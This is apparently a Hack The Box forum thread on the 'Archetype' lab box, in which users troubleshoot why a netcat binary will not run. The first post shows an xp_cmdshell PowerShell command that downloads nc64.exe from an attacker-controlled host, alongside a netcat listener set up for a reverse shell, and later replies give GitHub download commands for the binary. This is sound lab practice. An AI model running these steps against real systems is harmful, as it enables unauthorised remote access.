Archetype:The specified executable is not a valid application for this OS platform

hey!
I have been struggling with the archetype box.
when i run this command:
xp_cmdshell “powershell -c cd C:\Users\sql_svc\Downloads; wget
http://10.10.14.9/nc64.exe -outfile nc64.exe”

I get a operation has timed out error, but i still see it on my ‘server’(the sudo python3 -m http.server 80 thingy)

but then if i try to run the next command it tells me that it isn’t a valid executable(i have tried it with nc.exe and nc64.exe)


my file structure is:
mssqlclient.py, nc.exe, nc64.exe are in the same folder.
from wich i ran the http.server and the “sudo nc -lvnp 443” command
any help is really appreciated

1 Like

You need to find out a some script in powershell that you don’t use a binary to download the file of server, like “nc”. It’s all you need.

If you see the output of the error, the binary that you using to dowload the file of your server, it is not compatible with the OS.

Googled a some powershell script that using cmdlets to solve this issue.

Make sure you have downloaded nc64.exe correctly to your machine.

For example, if you initially download it from Github using a wget command, you need to download the raw file, not the Github page:

wget https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true

Alternatively, download nc64.exe from Github through your browser.


Source: I used wget and accidentally left the ?raw=true part off, then struggled for a few hours on this.

2 Likes

For anyone running into this error, try using the 32-bit version of nc here. It’s possible htb has downgraded or changed the box since they wrote the walkthrough.

I was getting the same issue using the download link from the walkthrough or from github directly, even making sure to include the ?raw=true as @kyla suggested.

This is the sha of the 64-bit executable I was trying, for reference:

$ sha256sum nc64.exe                   
3e59379f585ebf0becb6b4e06d0fbbf806de28a4bb256e837b4555f1b4245571  nc64.exe

hey did you solve it? I tried all the solutions but still am stuck…

it turns out it works on my laptop but not desktop if you are still running to problems try a fresh install of linux not kali or any other distros that have prebuilt tools

guess it only works one time on a new machine will try again soon… should’ve completed it when i had it successful the first time lol

It’s because we’re downloading the html page and the the actual binary file: use
wget https://github.com/int0x33/nc.exe/raw/master/nc64.exe -O nc64.exe instead